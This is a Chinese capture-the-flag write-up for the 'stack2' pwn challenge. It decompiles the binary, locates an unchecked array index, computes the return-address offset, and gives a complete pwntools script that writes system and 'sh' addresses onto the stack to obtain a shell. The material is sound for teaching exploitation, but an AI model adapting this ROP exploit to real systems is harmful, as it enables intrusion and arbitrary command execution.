攻防世界-pwn stack2(ROP)

0x01 文件分析

攻防世界-pwn stack2(ROP)_第1张图片

  • 32位elf
  • 无PIE

0x02 运行分析

攻防世界-pwn stack2(ROP)_第2张图片
 程序的功能主要有四个,在输入前面两个初始化的变量值之后,就可以看到后面的几个功能。

0x03 IDA分析

//IDA 静态分析得出的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

 可以看出程序的基本流程都在主函数之内,其功能选择主要是由多重循环达到,其中,我们主要注意下面这一部分,也就是第三个功能:
攻防世界-pwn stack2(ROP)_第3张图片
可以发现在对v13赋值时,程序并没有进行边界检查,这就给了我们栈溢出的机会,我们可以利用栈溢出构造ROP,达到劫持程序的效果。
 在查找字符串的时候发现了一个后门函数:
在这里插入图片描述
但遗憾的是,这个后门函数不能使用,看wp说的是出题人的错,布置完题目之后才发现环境之中没用bash,但也可以通过程序之中的system函数构造ROP获得sh,所以题目没有更改。
 也就是说,这个后门函数是一个坑。

0x04 思路分析

 后门函数无法使用,但是后门函数里面有sh两个字符,加上程序之中拥有system函数,可以构造获取sh的ROP,但是执行的时候,由于v13距离栈底位置的不确定,需要动态调试找出v13的偏移量。
改变第v13[1]未输入值之前
攻防世界-pwn stack2(ROP)_第4张图片
输入值255之后栈
攻防世界-pwn stack2(ROP)_第5张图片
可以看到栈内数据的变化(FFCFF610,栈的地址不是固定的,调试的时候地址会发生变化)
攻防世界-pwn stack2(ROP)_第6张图片
栈窗口内右键选择jump到esp,可以看到ebp的起始地址(第一个,FFCFF698)
v13的偏移量就可以计算出来:0xFFCFF698-0xFFCFF610-4 = 0x84(最后-4是保存ebp也用来四个字节)
在这里插入图片描述
通过函数可以找到system地址。
在这里插入图片描述
system的参数sh可以用原有的字符串后面,将其地址计算一下就行。

0x05 exp

from pwn import *

p = process('./stack2')
p.recv()
p.sendline('1')

p.recv()
p.sendline('1')

number = [0x84, 0x85, 0x86, 0x87]
# no bash 注释掉的是后门的利用,在本地环境可以获得bash
#hack = [0x9b, 0x85, 0x04, 0x08]
#
#for i in range(4):
#    p.recv()
#    p.sendline('3')
#    p.recv()
#    p.sendline(str(number[i]))
#    p.recv()
#    p.sendline(str(hack[i]))
#p.recv()
#p.sendline('5')
#p.interactive()
sh_addr = [0x87, 0x89, 0x04, 0x08]
sys_addr = [0x50, 0x84, 0x04, 0x08]
offset = 0x84

def write_addr(addr, value):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline(str(addr))
    p.recv()
    p.sendline(str(value))

for i in range(4):
    write_addr(offset+i, sys_addr[i])

for i in range(4):
    write_addr(offset+i+8, sh_addr[i])

p.recv()
p.sendline('5')
p.interactive()

你可能感兴趣的:(ctf_pwn)